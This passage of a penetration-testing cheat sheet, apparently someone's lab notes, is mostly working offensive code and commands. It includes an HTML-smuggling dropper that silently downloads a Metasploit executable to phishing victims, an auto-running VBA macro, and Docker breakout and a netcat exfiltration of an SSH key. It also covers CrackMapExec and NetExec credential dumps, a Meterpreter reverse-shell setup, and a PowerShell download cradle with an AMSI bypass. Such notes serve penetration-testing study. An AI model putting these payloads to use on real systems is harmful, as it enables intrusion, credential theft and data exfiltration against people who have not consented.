			var binary_string = window.atob(base64);&lt;br /&gt;
			var len = binary_string.length;&lt;br /&gt;
			var bytes = new Uint8Array( len );&lt;br /&gt;
			for (var i = 0; i&lt;br /&gt;
			var file =&amp;quot;TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAA...&amp;quot;&lt;br /&gt;
			var data = base64ToArrayBuffer(file);&lt;br /&gt;
			var blob = new Blob([data], {type: &#039;octet/stream&#039;});&lt;br /&gt;
			var fileName = &#039;msfstaged.exe&#039;;&lt;br /&gt;
&lt;br /&gt;
			var a = document.createElement(&#039;a&#039;);&lt;br /&gt;
			document.body.appendChild(a);&lt;br /&gt;
			a.style = &#039;display: none&#039;;&lt;br /&gt;
			var url = window.URL.createObjectURL(blob);&lt;br /&gt;
			a.href = url;&lt;br /&gt;
			a.download = fileName;&lt;br /&gt;
			a.click();&lt;br /&gt;
			window.URL.revokeObjectURL(url);&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-02-image.png|thumb|When the victim clicks a link in our phishing mail it will automatically download the dropper file onto the victim machine.]]&lt;br /&gt;
&lt;br /&gt;
=== Microsoft Office Macro Client-side Attack ===&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?page_id=1809#Microsoft_Word&lt;br /&gt;
&lt;br /&gt;
==== Visual Basic for Applications  [VBA] ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
&#039;VBA Datatype&lt;br /&gt;
&#039;Dim is used to declare variables&lt;br /&gt;
Dim myString As String # Unicode&lt;br /&gt;
Dim myLong As Long # 64-bit integer&lt;br /&gt;
Dim myPointer As LongPtr # Memory pointer&lt;br /&gt;
&#039;Example - if and else statement&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
Dim myLong As Long&lt;br /&gt;
myLong = 1&lt;br /&gt;
If myLong &amp;lt; 5 Then&lt;br /&gt;
   MsgBox (&amp;quot;True&amp;quot;)&lt;br /&gt;
Else&lt;br /&gt;
   MsgBox (&amp;quot;False&amp;quot;)&lt;br /&gt;
End If&lt;br /&gt;
End Sub&lt;br /&gt;
&lt;br /&gt;
&#039;Example - Launch cmd.exe with a hidden window&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
   MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
   MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
   Dim str As String&lt;br /&gt;
   str = &amp;quot;cmd.exe&amp;quot;&lt;br /&gt;
   Shell str, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
&#039;The picture below show the cmd.exe running as a child process of winword.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-02-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Certificate Types ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Extension&lt;br /&gt;
! Full Name&lt;br /&gt;
! Contains&lt;br /&gt;
! Format&lt;br /&gt;
! Common Use&lt;br /&gt;
! Use Case&lt;br /&gt;
! Real-World Example&lt;br /&gt;
|-&lt;br /&gt;
| .cer&lt;br /&gt;
| Certificate&lt;br /&gt;
| Public key&lt;br /&gt;
| Usually in DER or PEM&lt;br /&gt;
| Sharing or installing public keys&lt;br /&gt;
| Installing trusted root or intermediate certificates on a system or server to verify SSL/TLS certificates&lt;br /&gt;
| Adding a trusted certificate in Windows to access a secure corporate intranet site&lt;br /&gt;
|-&lt;br /&gt;
| .pem&lt;br /&gt;
| Privacy Enhanced Mail&lt;br /&gt;
| Certificates and/or private keys&lt;br /&gt;
| Base64 encoded text (PEM)&lt;br /&gt;
| SSL certificates and private keys, commonly used in web servers&lt;br /&gt;
| Configuring SSL/TLS for web servers like Apache or Nginx by providing both the certificate and private key&lt;br /&gt;
| Configuring SSL/TLS for an Nginx web server for your website by specifying .pem files for SSL security&lt;br /&gt;
|-&lt;br /&gt;
| .crt&lt;br /&gt;
| Certificate&lt;br /&gt;
| Public key&lt;br /&gt;
| Usually in PEM or DER&lt;br /&gt;
| Similar to .cer, used for certificates in web servers&lt;br /&gt;
| Installing SSL/TLS certificates on websites to secure connections (often paired with .key files)&lt;br /&gt;
| Installing an SSL/TLS certificate from Let&#039;s Encrypt (.crt) to secure your website and enable HTTPS&lt;br /&gt;
|-&lt;br /&gt;
| .pfx&lt;br /&gt;
| Personal Information Exchange&lt;br /&gt;
| Private key and certificate (often password-protected)&lt;br /&gt;
| Binary (PFX)&lt;br /&gt;
| Bundling a private key with a certificate, used for importing/exporting certificates&lt;br /&gt;
| Importing a certificate with a private key into Windows servers or applications, such as IIS or to share with others in a secure manner&lt;br /&gt;
| Importing a .pfx file into Microsoft IIS to enable secure HTTPS for a web server hosting an internal application or signing an executable file&lt;br /&gt;
|-&lt;br /&gt;
| .key&lt;br /&gt;
| Private Key File&lt;br /&gt;
| Private key&lt;br /&gt;
| Text (usually PEM)&lt;br /&gt;
| Storing private keys for SSL certificates, often paired with .crt files&lt;br /&gt;
| Configuring SSL/TLS for web servers like Apache or Nginx by providing the private key for the SSL certificate&lt;br /&gt;
| Using a .key file along with a .crt file to configure HTTPS for a website&lt;br /&gt;
|-&lt;br /&gt;
| .der&lt;br /&gt;
| Distinguished Encoding Rules&lt;br /&gt;
| Certificate or private key in binary&lt;br /&gt;
| Binary (DER)&lt;br /&gt;
| Storing certificates or private keys in binary format&lt;br /&gt;
| Used in environments where certificates or keys need to be in a compact, binary format&lt;br /&gt;
| Using a .der file to import a certificate in Windows or Java environments&lt;br /&gt;
|-&lt;br /&gt;
| .csr&lt;br /&gt;
| Certificate Signing Request&lt;br /&gt;
| Information about an entity requesting a certificate&lt;br /&gt;
| Text (usually PEM)&lt;br /&gt;
| Requesting an SSL/TLS certificate from a Certificate Authority (CA)&lt;br /&gt;
| Generating a .csr to request an SSL/TLS certificate from a CA like Let&#039;s Encrypt&lt;br /&gt;
| Creating a .csr file to obtain an SSL certificate for your website&lt;br /&gt;
|-&lt;br /&gt;
| .p7b or .p7c&lt;br /&gt;
| PKCS#7 Certificate File&lt;br /&gt;
| Certificates in chain (no private key)&lt;br /&gt;
| Base64 or Binary&lt;br /&gt;
| Sharing a certificate chain&lt;br /&gt;
| Importing a full certificate chain in environments like Java keystores&lt;br /&gt;
| Using a .p7b file to import a complete certificate chain into a Java KeyStore for a Tomcat server&lt;br /&gt;
|-&lt;br /&gt;
| .jks&lt;br /&gt;
| Java KeyStore&lt;br /&gt;
| Private keys and certificates&lt;br /&gt;
| Binary (JKS)&lt;br /&gt;
| Storing certificates and private keys in Java environments&lt;br /&gt;
| Storing certificates and keys for Java-based applications like Tomcat&lt;br /&gt;
| Using a .jks file to configure SSL/TLS in a Java application server like Tomcat&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Command and control - C2 framework ==&lt;br /&gt;
&lt;br /&gt;
=== Covenant ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/cobbr/Covenant&lt;br /&gt;
# Installation and running&lt;br /&gt;
git clone --recurse-submodules https://github.com/cobbr/Covenant&lt;br /&gt;
# Be sure to install the dotnet core version 3.1 SDK!&lt;br /&gt;
# Build and run convenant&lt;br /&gt;
$ ~ &amp;gt; git clone --recurse-submodules https://github.com/cobbr/Covenant&lt;br /&gt;
$ ~ &amp;gt; cd Covenant/Covenant&lt;br /&gt;
$ ~/Covenant/Covenant &amp;gt; dotnet run&lt;br /&gt;
warn: Microsoft.EntityFrameworkCore.Model.Validation[10400]&lt;br /&gt;
      Sensitive data logging is enabled. Log entries and exception messages may include sensitive application data, this mode should only be enabled during development.&lt;br /&gt;
WARNING: Running Covenant non-elevated. You may not have permission to start Listeners on low-numbered ports. Consider running Covenant elevated.&lt;br /&gt;
Covenant has started! Navigate to https://127.0.0.1:7443 in a browser&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell-empire (And starkiller) ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/EmpireProject/Empire&lt;br /&gt;
# Installation and running&lt;br /&gt;
sudo ./setup/install.sh&lt;br /&gt;
# Or&lt;br /&gt;
sudo apt install powershell-empire&lt;br /&gt;
# Starkiller&lt;br /&gt;
# https://github.com/BC-SECURITY/Starkiller&lt;br /&gt;
# Starkiller is a Frontend for Powershell Empire.&lt;br /&gt;
# Change the permissions&lt;br /&gt;
chmod a+x starkiller-.AppImage&lt;br /&gt;
# Then execute&lt;br /&gt;
./starkiller-.AppImage --no-sandbox&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Log location&lt;br /&gt;
~/.msf4/logs/framework.log&lt;br /&gt;
# DBMS used is postgresql.&lt;br /&gt;
# If IOError, check logs. If Postgresql, check the postgresql logs at:&lt;br /&gt;
/var/log/postgresql/...&lt;br /&gt;
# Initialize db&lt;br /&gt;
msfdb init # only if needed&lt;br /&gt;
# Metasploit location&lt;br /&gt;
/opt/metasploit-framework/embedded/framework/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Compiling exploits ==&lt;br /&gt;
&lt;br /&gt;
=== Compile .asm to elf ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nasm -f elf64 thm.asm&lt;br /&gt;
ld thm.o -o thm&lt;br /&gt;
./thm&lt;br /&gt;
THM,Rocks!&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Compile .cpp to .exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
i686-w64-mingw32-g++ -o test.exe challenge-8.cpp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Compile .cs to .exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Using csc&lt;br /&gt;
csc payload.cs&lt;br /&gt;
# Using mono - https://www.mono-project.com/&lt;br /&gt;
mcs payload.cs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Compile .c to .exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
## Create 32-bit Windows executable with:&lt;br /&gt;
i686-w64-mingw32-gcc -o main32.exe main.c&lt;br /&gt;
## Create 64-bit Windows executable with:&lt;br /&gt;
x86_64-w64-mingw32-gcc -o main64.exe main.c&lt;br /&gt;
# Flags:&lt;br /&gt;
-lwsock32 and -lws2_32&lt;br /&gt;
# The -lwsock32 and -lws2_32 flags are linker flags used in programming to include the Winsock libraries for network programming on Windows. -lwsock32 includes the older version of the library, while -lws2_32 includes the updated version with additional features and improvements. These flags ensure that the necessary networking functions are available to the application during the linking stage of compilation.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Compile .c in linux using --static ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# The -static option links a program statically, in other words it does not require a dependency on dynamic libraries at runtime in order to run.&lt;br /&gt;
gcc 45010.c -o exploit --static&lt;br /&gt;
&lt;br /&gt;
gcc 45010.c -o exploit -z execstack&lt;br /&gt;
# -z execstack: This option instructs the compiler to mark the resulting executable as having an executable stack. An executable stack means that the program can execute code stored on the stack, which can be a security risk if not handled carefully. This option is often used for specific purposes, like creating loader programs or certain types of shellcode.&lt;br /&gt;
&lt;br /&gt;
-------------------------------&lt;br /&gt;
# If the above dont work, try this&lt;br /&gt;
gcc -o sh.elf sh.c -z execstack -static&lt;br /&gt;
upx --best --lzma -o shupx.elf ./sh.elf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Compile .c to 32-bit windows ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc exploit.c -m32 -o exploit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Docker - Privile Escalation ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation]&lt;br /&gt;
&lt;br /&gt;
=== Shell ===&lt;br /&gt;
&lt;br /&gt;
This will create a docker image, that you can run and get a shell with&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Create a docker file&lt;br /&gt;
FROM alpine:latest&lt;br /&gt;
ENV WORKIDR /privesc&lt;br /&gt;
RUN mkdir -p $WORKDIR&lt;br /&gt;
VOLUME [ $WORKDIR]&lt;br /&gt;
WORKDIR $WORKDIR&lt;br /&gt;
# Build the docker container&lt;br /&gt;
docker build -t imagename .&lt;br /&gt;
# Now run the image with /bin/bash. -it means interactive and terminal&lt;br /&gt;
docker run -v /:/mountdir -it imagename /bin/bash&lt;br /&gt;
root@machine#&lt;br /&gt;
-----------------------------------------------&lt;br /&gt;
#List images to use one&lt;br /&gt;
docker images&lt;br /&gt;
#Run the image mounting the host disk and chroot on it&lt;br /&gt;
docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash&lt;br /&gt;
# Get full access to the host via ns pid and nsenter cli&lt;br /&gt;
docker run -it --rm --pid=host --privileged ubuntu bash&lt;br /&gt;
nsenter --target 1 --mount --uts --ipc --net --pid -- bash&lt;br /&gt;
# Get full privs in container without --privileged&lt;br /&gt;
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Exfiltrate data ===&lt;br /&gt;
&lt;br /&gt;
See notes for Deployer&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Find if there is an docker image running. Then create a dockerfile. This wil copy id_rsa.bak to tmp, and then send it to our netcat listener on port 80&lt;br /&gt;
shanah@deployer:/opt$ cat dockerfile&lt;br /&gt;
FROM alpine&lt;br /&gt;
COPY id_rsa.bak /tmp/id_rsa.bak&lt;br /&gt;
RUN cat /tmp/id_rsa.bak | nc 192.168.49.153 80&lt;br /&gt;
# After running the below command, look at your netcat listener.&lt;br /&gt;
shanah@deployer:/opt$ sudo /usr/bin/docker build -t imagename .&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Exec-Tools ==&lt;br /&gt;
&lt;br /&gt;
=== CrackMapExec ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://wiki.porchetta.industries/&lt;br /&gt;
# READ MORE IN THE LINK ABOVE!!!!&lt;br /&gt;
# SMB commands&lt;br /&gt;
# Obtaining creds&lt;br /&gt;
# Require Domain Admin or Local Admin&lt;br /&gt;
# Dump SAM&lt;br /&gt;
crackmapexec smb 192.168.1.0/24 -u UserNAme -p &#039;PASSWORDHERE&#039; --sam&lt;br /&gt;
## Dump LSA&lt;br /&gt;
crackmapexec  smb 192.168.1.0/24 -u UserNAme -p &#039;PASSWORDHERE&#039; --lsa&lt;br /&gt;
## Dump NTDS.dit&lt;br /&gt;
cme smb 192.168.1.100 -u UserNAme -p &#039;PASSWORDHERE&#039; --ntds&lt;br /&gt;
cme smb 192.168.1.100 -u UserNAme -p &#039;PASSWORDHERE&#039; --ntds --users&lt;br /&gt;
cme smb 192.168.1.100 -u UserNAme -p &#039;PASSWORDHERE&#039; --ntds --users --enabled&lt;br /&gt;
cme smb 192.168.1.100 -u UserNAme -p &#039;PASSWORDHERE&#039; --ntds vss&lt;br /&gt;
## LPAS - If installed on the domain&lt;br /&gt;
crackmapexec smb  -u user-can-read-laps -p pass --laps&lt;br /&gt;
# LDAP&lt;br /&gt;
## Dump gMSA&lt;br /&gt;
crackmapexec ldap  -u  -p  --gmsa&lt;br /&gt;
## LAPS - If installed on the domain&lt;br /&gt;
crackmapexec ldap  -u user-can-read-laps -p pass -M laps&lt;br /&gt;
## Extract gMSA secrets&lt;br /&gt;
crackmapexec ldap  -u  -p  --gmsa-convert-id 313e25a880eb773502f03ad5021f49c2eb5b5be2a09f9883ae0d83308dbfa724&lt;br /&gt;
rackmapexec ldap  -u  -p  --gmsa-decrypt-lsa &#039;_SC_GMSA_{84A78B8C-56EE-465b-8496-FFB35A1B52A7}_313e25a880eb773502f03ad5021f49c2eb5b5be2a09f9883ae0d83308dbfa724:01000000240200001000120114021c02fbb096d10991bb88c3f54e153807b4c1cc009d30bc3c50fd6f72c99a1e79f27bd0cbd4df69fdf08b5cf6fa7928cf6924cf55bfd8dd505b1da26ddf5695f5333dd07d08673029b01082e548e31f1ad16c67db0116c6ab0f8d2a0f6f36ff30b160b7c78502d5df93232f72d6397b44571d1939a2d18bb9c28a5a48266f52737c934669e038e22d3ba5a7ae63a608f3074c520201f372d740fddec77a8fed4ddfc5b63ce7c4643b60a8c4c739e0d0c7078dd0c2fcbc2849e561ea2de1af7a004b462b1ff62ab4d3db5945a6227a58ed24461a634b85f939eeed392cf3fe9359f28f3daa8cb74edb9eef7dd38f44ed99fa7df5d10ea1545994012850980a7b3becba0000d22d957218fb7297b216e2d7272a4901f65c93ee0dbc4891d4eba49dda5354b0f2c359f185e6bb943da9bcfbd2abda591299cf166c28cb36907d1ba1a8956004b5e872ef851810689cec9578baae261b45d29d99aef743f3d9dcfbc5f89172c9761c706ea3ef16f4b553db628010e627dd42e3717208da1a2902636d63dabf1526597d94307c6b70a5acaf4bb2a1bdab05e38eb2594018e3ffac0245fcdb6afc5a36a5f98f5910491e85669f45d02e230cb633a4e64368205ac6fc3b0ba62d516283623670b723f906c2b3d40027791ab2ae97a8c5c135aae85da54a970e77fb46087d0e2233d062dcd88f866c12160313f9e6884b510840e90f4c5ee5a032d40000f0650a4489170000f0073a9188170000&#039;&lt;br /&gt;
## List all PKI enrollment server&lt;br /&gt;
crackmapexec run ldap  -u user -p pass -M adcs&lt;br /&gt;
## Extract subnet&lt;br /&gt;
crackmapexec ldap  -u  -p  -M get-network&lt;br /&gt;
crackmapexec ldap  -u  -p  -M get-network -o ONLY_HOSTS=true&lt;br /&gt;
crackmapexec ldap  -u  -p  -M get-network -o ALL=true&lt;br /&gt;
# Username + Password + CMD command&lt;br /&gt;
crackmapexec mssql -d  -u  -p  -x &amp;quot;whoami&amp;quot;&lt;br /&gt;
# Username + Hash + PS command&lt;br /&gt;
crackmapexec mssql -d  -u  -H  -X &#039;$PSVersionTable&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== NetExec ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/Pennyw0rth/NetExec&lt;br /&gt;
# This project was initially created in 2015 by @byt3bl33d3r, known as CrackMapExec. In 2019 @mpgn_x64 started maintaining the project for the next 4 years, adding a lot of great tools and features. In September 2023 he retired from maintaining the project.&lt;br /&gt;
# cheatsheet&lt;br /&gt;
https://www.netexec.wiki/&lt;br /&gt;
# General&lt;br /&gt;
netexec   -u username -p password&lt;br /&gt;
# Using modules&lt;br /&gt;
# List available modules&lt;br /&gt;
nxc smb -L&lt;br /&gt;
# View module options&lt;br /&gt;
nxc smb -M lsassy --options&lt;br /&gt;
# Using Kerberos&lt;br /&gt;
$ export KRB5CCNAME=/home/bonclay/impacket/administrator.ccache&lt;br /&gt;
$ nxc smb zoro.gold.local --use-kcache&lt;br /&gt;
$ export KRB5CCNAME=/home/bonclay/impacket/bonclay.ccache&lt;br /&gt;
$ sudo nxc smb zoro.gold.local --use-kcache -x whoami&lt;br /&gt;
# Send a local file to the remote target&lt;br /&gt;
nxc smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt&lt;br /&gt;
# Get a remote file on the remote target&lt;br /&gt;
nxc smb 172.16.251.152 -u user -p pass --get-file  \\Windows\\Temp\\whoami.txt /tmp/whoami.txt&lt;br /&gt;
# Read LAPS&lt;br /&gt;
nxc smb  -u user-can-read-laps -p pass --laps&lt;br /&gt;
# Impersonate logged on user&lt;br /&gt;
# 1. Enumerate logged-on users on your Target&lt;br /&gt;
nxc smb  -u  -p  --loggedon-users&lt;br /&gt;
# 2. Execute commands on behalf of other users&lt;br /&gt;
nxc smb  -u  -p  -M schtask_as -o USER= CMD=&lt;br /&gt;
# Find Domain SID&lt;br /&gt;
$ nxc ldap DC1.scrm.local -u sqlsvc -p Pegasus60 -k --get-sid&lt;br /&gt;
# Kerberoasting&lt;br /&gt;
nxc ldap 192.168.0.104 -u harry -p pass --kerberoasting output.txt&lt;br /&gt;
# Unconstrained delegation - retrieve the list of all computers and users with the flag TRUSTED_FOR_DELEGATION&lt;br /&gt;
nxc ldap 192.168.0.104 -u harry -p pass --trusted-for-delegation&lt;br /&gt;
# Dump gMSA&lt;br /&gt;
$ nxc ldap  -u  -p  --gmsa&lt;br /&gt;
# Bloodhound ingenstor&lt;br /&gt;
nxc ldap  -u user -p pass --bloodhound -ns  --collection All&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Meterpreter using Invoke-metasploitpayload.ps1 ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/Ethical-Hacking-Repos/Invoke-MetasploitPayload/blob/master/README.md&lt;br /&gt;
# https://www.netexec.wiki/smb-protocol/command-execution/getting-shells-101#meterpreter&lt;br /&gt;
# Meterpreter&lt;br /&gt;
# We can use the metinject module launch a meterpreter using Invoke-MetasploitPayload Invoke-MetasploitPayload.ps1 script.&lt;br /&gt;
# On your Metasploit instance, run the following commands&lt;br /&gt;
use exploit/multi/script/web_delivery&lt;br /&gt;
# The SRVHOST and SRVPORT variables are used for running the webserver to host the script&lt;br /&gt;
set SRVHOST 10.211.55&lt;br /&gt;
set SRVPORT 8443&lt;br /&gt;
# The target variable determines what type of script we&#039;re using. 2 is for PowerShell&lt;br /&gt;
set target 2&lt;br /&gt;
# Pick your payload. In this case, we&#039;ll use a reverse https meterpreter payload&lt;br /&gt;
set payload windows/meterpreter/reverse_https&lt;br /&gt;
set LHOST 10.211.55&lt;br /&gt;
set LPORT 443&lt;br /&gt;
# Run the exploit&lt;br /&gt;
run -j&lt;br /&gt;
# Once run, the web_delivery module will spin up the webserver to host the script and reverse listener for our meterpreter session.&lt;br /&gt;
msf exploit(web_delivery) &amp;gt; run -j&lt;br /&gt;
[*] Exploit running as background job.&lt;br /&gt;
[*] Started HTTPS reverse handler on https://10.211.55.4:8443/&lt;br /&gt;
[*] Using URL: http://10.211.55.4:8080/eYEssEwv2D&lt;br /&gt;
[*] Local IP: http://10.211.55.4:8080/eYEssEwv2D&lt;br /&gt;
[*] Server started.&lt;br /&gt;
# Then just run the met_inject module and specify the LHOST and LPORT values:&lt;br /&gt;
~ NetExec 192.168.10.0/24 -u username -p password -M met_inject -o SRVHOST=192.168.10.3 SRVPORT=8443 RAND=eYEssEwv2D SSL=http&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PsMapExec ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Cheathseet&lt;br /&gt;
https://viperone.gitbook.io/pentest-everything/psmapexec&lt;br /&gt;
https://github.com/The-Viper-One/PsMapExec&lt;br /&gt;
# A PowerShell tool heavily inspired by the popular tool CrackMapExec. Far too often I find myself on engagements without access to Linux in order to make use of CrackMapExec.&lt;br /&gt;
# PsMapExec is used as a post-exploitation tool to assess and compromise an Active Directory environment.&lt;br /&gt;
# Load directly into memory and attempt to bypass AV&lt;br /&gt;
# Invoke-NETMongoose.ps1 is an AMSI bypass&lt;br /&gt;
IEX(New-Object System.Net.WebClient).DownloadString(&amp;quot;https://raw.githubusercontent.com/The-Viper-One/PME-Scripts/main/Invoke-NETMongoose.ps1&amp;quot;);IEX(New-Object System.Net.WebClient).DownloadString(&amp;quot;https://raw.githubusercontent.com/The-Viper-One/PsMapExec/main/PsMapExec.ps1&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# PsMapExec has some dependencies that need to be pulled from outside the script itself in order to function.&lt;br /&gt;
## Primarily these are:&lt;br /&gt;
### Kirby (PowerShell based Kerberos ticket dump)&lt;br /&gt;
### Invoke-Pandemonium (Slightly modified Mimikatz)&lt;br /&gt;
&lt;br /&gt;
# Examples&lt;br /&gt;
# Execute WMI commands over all systems in the domain using password authentication&lt;br /&gt;
PsMapExec -Username Admin -Password Pass -Targets All -Method WMI -Command &amp;quot;net user&amp;quot;&lt;br /&gt;
# Execute WinRM commands over all systems in the domain using hash authentication&lt;br /&gt;
PsMapExec -Username Admin -Hash [Hash] -Targets All -Method WinRM -Command &amp;quot;net user&amp;quot;&lt;br /&gt;
# Check RDP Access against workstations in the domain&lt;br /&gt;
PsMapExec -Username Admin -Password Pass -Targets Workstations -Method RDP&lt;br /&gt;
# Dump SAM on all servers in the domain using SMB&lt;br /&gt;
PsMapExec -Username [User] -Hash [Hash] -Targets Servers -Method SMB -Module SAM&lt;br /&gt;
# Check SMB Signing on all domain systems&lt;br /&gt;
PsMapExec -Targets All -Method GenRelayList&lt;br /&gt;
# Dump LogonPasswords on all Domain Controllers over SMB&lt;br /&gt;
PsMapExec -Username Admin -Password Pass -Targets DCs -Method SMB -Module LogonPasswords&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== GIT ==&lt;br /&gt;
&lt;br /&gt;
See PG Hunit writeup&lt;br /&gt;
&lt;br /&gt;
=== Download .git ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir&lt;br /&gt;
./gitdumper.sh /.git/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Extract .git content ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir&lt;br /&gt;
./extractor.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== GIT basic commands ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Stage the file for commit to your local repository by the following command. -A means add changes from all tracked and untracked files&lt;br /&gt;
git add -A&lt;br /&gt;
# Configure who you are in order to commit&lt;br /&gt;
git config --global user.email &amp;quot;you@example.com&amp;quot;&lt;br /&gt;
git config --global user.name &amp;quot;Your Name&amp;quot;&lt;br /&gt;
# The git commit command **captures a snapshot of the project&#039;s currently staged changes**.&lt;br /&gt;
git commit -m &amp;quot;This is a message&amp;quot;&lt;br /&gt;
#  Push your changes to the remote server. &amp;quot;master&amp;quot; refers to master branch in your repository.&lt;br /&gt;
git push origin master&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===  ===&lt;br /&gt;
&lt;br /&gt;
=== GIT_SSH_COMMAND ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# GIT_SSH_COMMAND&lt;br /&gt;
# If either of these environment variables is set then _git fetch_ and _git push_ will use the specified command instead of _ssh_ when they need to connect to a remote system.&lt;br /&gt;
# Below command will SSH to user git at 192.168.243.124 and clone the repo from /git-server&lt;br /&gt;
GIT_SSH_COMMAND=&#039;ssh -i id_rsa -p 43022&#039; git clone git@192.168.243.125:/git-server&lt;br /&gt;
